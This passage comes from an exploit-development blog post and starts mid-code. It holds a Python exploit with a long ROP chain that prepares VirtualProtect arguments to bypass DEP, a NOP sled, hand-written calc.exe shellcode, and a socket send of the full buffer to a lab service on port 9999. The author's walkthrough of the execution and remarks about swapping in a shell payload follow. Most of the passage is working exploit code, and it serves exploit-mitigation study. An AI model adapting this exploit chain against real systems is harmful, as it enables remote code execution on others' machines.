rop2 += struct.pack ('<L', 0x41414141) # padding to compensate for pop ebp instruction in the last ROP gadget
# Preparing the VirtualProtect size parameter (third parameter)
# Changing EAX to equal the third parameter, size (0x300).
# Increase EDX 4 bytes (to reach the VirtualProtect size parameter placeholder.)
# Remember, EDX currently is located at the VirtualProtect lpAddress placeholder.
# The size parameter is located 4 bytes after the lpAddress parameter
# Lastly, point EAX to new EDX
rop2 += struct.pack ('<L', 0x41ad61cc) # 0x41ad61cc: xor eax, eax ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x41414141) # padding to compensate for retn 0x000C in the lpAddress ROP gadget
rop2 += struct.pack ('<L', 0x41414141) # padding to compensate for retn 0x000C in the lpAddress ROP gadget
rop2 += struct.pack ('<L', 0x41414141) # padding to compensate for retn 0x000C in the lpAddress ROP gadget
rop2 += struct.pack ('<L', 0x6ff7e29a) # 0x6ff7e29a: add eax, 0x00000100 ; pop ebp ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x41414141) # padding to compensate for pop ebp instruction in the above ROP chain
rop2 += struct.pack ('<L', 0x6ff7e29a) # 0x6ff7e29a: add eax, 0x00000100 ; pop ebp ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x41414141) # padding to compensate for pop ebp instruction in the above ROP chain
rop2 += struct.pack ('<L', 0x6ff7e29a) # 0x6ff7e29a: add eax, 0x00000100 ; pop ebp ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x41414141) # padding to compensate for pop ebp instruction in the above ROP chain
rop2 += struct.pack ('<L', 0x77f226d5) # 0x77f226d5: inc edx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77f226d5) # 0x77f226d5: inc edx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77f226d5) # 0x77f226d5: inc edx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77f226d5) # 0x77f226d5: inc edx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e942cb) # 0x77e942cb: mov dword [edx], eax ; pop esi ; pop ebp ; retn 0x000C ; (1 found)
rop2 += struct.pack ('<L', 0x41414141) # padding to compensate for pop esi instruction in the above ROP gadget
rop2 += struct.pack ('<L', 0x41414141) # padding to compensate for pop ebp instruction in the above ROP gadget
# Preparing the VirtualProtect flNewProtect parameter (fourth parameter)
# Changing EAX to equal the fourth parameter, flNewProtect (0x40)
# Increase EDX 4 bytes (to reach the VirtualProtect flNewProtect placeholder.)
# Remember, EDX currently is located at the VirtualProtect size placeholder.
# The flNewProtect parameter is located 4 bytes after the size parameter.
# Lastly, point EAX to the new EDX
rop2 += struct.pack ('<L', 0x41ad61cc) # 0x41ad61cc: xor eax, eax ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x41414141) # padding to compensate for retn 0x000C in the size ROP gadget
rop2 += struct.pack ('<L', 0x41414141) # padding to compensate for retn 0x000C in the size ROP gadget
rop2 += struct.pack ('<L', 0x41414141) # padding to compensate for retn 0x000C in the size ROP gadget
rop2 += struct.pack ('<L', 0x77bd6b18) # 0x77bd6b18: add eax, 0x02 ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77bd6b18) # 0x77bd6b18: add eax, 0x02 ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77bd6b18) # 0x77bd6b18: add eax, 0x02 ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77bd6b18) # 0x77bd6b18: add eax, 0x02 ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77bd6b18) # 0x77bd6b18: add eax, 0x02 ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77bd6b18) # 0x77bd6b18: add eax, 0x02 ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77bd6b18) # 0x77bd6b18: add eax, 0x02 ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77bd6b18) # 0x77bd6b18: add eax, 0x02 ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77bd6b18) # 0x77bd6b18: add eax, 0x02 ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77bd6b18) # 0x77bd6b18: add eax, 0x02 ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77bd6b18) # 0x77bd6b18: add eax, 0x02 ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77bd6b18) # 0x77bd6b18: add eax, 0x02 ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77bd6b18) # 0x77bd6b18: add eax, 0x02 ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77bd6b18) # 0x77bd6b18: add eax, 0x02 ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77bd6b18) # 0x77bd6b18: add eax, 0x02 ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77bd6b18) # 0x77bd6b18: add eax, 0x02 ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77bd6b18) # 0x77bd6b18: add eax, 0x02 ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77bd6b18) # 0x77bd6b18: add eax, 0x02 ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77bd6b18) # 0x77bd6b18: add eax, 0x02 ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77bd6b18) # 0x77bd6b18: add eax, 0x02 ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77bd6b18) # 0x77bd6b18: add eax, 0x02 ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77bd6b18) # 0x77bd6b18: add eax, 0x02 ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77bd6b18) # 0x77bd6b18: add eax, 0x02 ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77bd6b18) # 0x77bd6b18: add eax, 0x02 ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77bd6b18) # 0x77bd6b18: add eax, 0x02 ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77bd6b18) # 0x77bd6b18: add eax, 0x02 ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77bd6b18) # 0x77bd6b18: add eax, 0x02 ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77bd6b18) # 0x77bd6b18: add eax, 0x02 ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77bd6b18) # 0x77bd6b18: add eax, 0x02 ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77bd6b18) # 0x77bd6b18: add eax, 0x02 ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77bd6b18) # 0x77bd6b18: add eax, 0x02 ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77bd6b18) # 0x77bd6b18: add eax, 0x02 ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77f226d5) # 0x77f226d5: inc edx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77f226d5) # 0x77f226d5: inc edx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77f226d5) # 0x77f226d5: inc edx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77f226d5) # 0x77f226d5: inc edx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77e942cb) # 0x77e942cb: mov dword [edx], eax ; pop esi ; pop ebp ; retn 0x000C ; (1 found)
rop2 += struct.pack ('<L', 0x41414141) # padding to compensate for pop esi instruction in the above ROP gadget
rop2 += struct.pack ('<L', 0x41414141) # padding to compensate for pop ebp instruction in the above ROP gadget
# Now we need to return to where the VirutalProtect call is on the stack.
# ECX contains a value around the old stack pointer at this time (from the beginning). Put ECX into EAX
# and decrement EAX to get back to the function call - and then load EAX into ESP.
# Restoring the old stack pointer here.
rop2 += struct.pack ('<L', 0x77e4a5e6) # 0x77e4a5e6: mov eax, ecx ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x41414141) # padding to compensate for retn 0x000C in the flNewProtect ROP gadget
rop2 += struct.pack ('<L', 0x41414141) # padding to compensate for retn 0x000C in the flNewProtect ROP gadget
rop2 += struct.pack ('<L', 0x41414141) # padding to compensate for retn 0x000C in the flNewProtect ROP gadget
rop2 += struct.pack ('<L', 0x41ac863b) # 0x41ac863b: dec eax ; dec eax ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x41ac863b) # 0x41ac863b: dec eax ; dec eax ; ret ; (1 found)
rop2 += struct.pack ('<L', 0x77d6fa6a) # 0x77d6fa6a: xchg eax, esp ; ret ; (1 found)
# Padding between ROP Gadgets and shellcode. Arbitrary number (just make sure you have enough room on the stack)
padding2 = "\x90" * 250
# calc.exe POC payload created with the Windows API system() function.
# You can replace this with an msfvenom payload if you would like
shellcode = "\x31\xc0\x50\x68"
shellcode += "\x63\x61\x6c\x63"
shellcode += "\x54\xbe\x77\xb1"
shellcode += "\xfa\x6f\xff\xd6"
# 5000 byte total crash
filler = "\x43" * (5000-len(command)-len(crash)-len(parameters)-len(padding)-len(rop)-len(padding2)-len(padding2))
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("172.16.55.148", 9999))
s.send(command+crash+rop+parameters+padding+rop2+padding2+shellcode+filler)
s.close()
ECX is moved into EAX:
EAX is then decremented by four bytes, to equal where the call to VirtualProtect() occurs on the stack:
EAX is then exchanged with ESP (EAX and ESP swap spaces):
As you can see, ESP points to the function call - and the ret loads that function call into the instruction pointer to kick off execution!:
As you can see, our calc.exe payload has been executed - and DEP has been defeated (the PowerShell windows shows the DEP policy. Open the image in a new tab to view it better)!!!!!:
You could replace the calc.exe payload with something like a shell - sure! This was just a POC payload, and there is something about shellcoding by hand, too that I love! ROP is so manual and requires living off the land, so I wanted a shellcode that reflected that same philosophy.
Final Thoughts
Please email me if you have any further questions! I can try to answer them as best I can. As I continue to start getting into more and more modern day exploit mitigation bypasses, I hope I can document some more of my discoveries and advances in exploit development.
Peace, love, and positivity :-)
ROP is different every time. There is no one way to do it. However, I did learn a lot from this article, and referenced it. Thank you, Peter! :) You are a beast!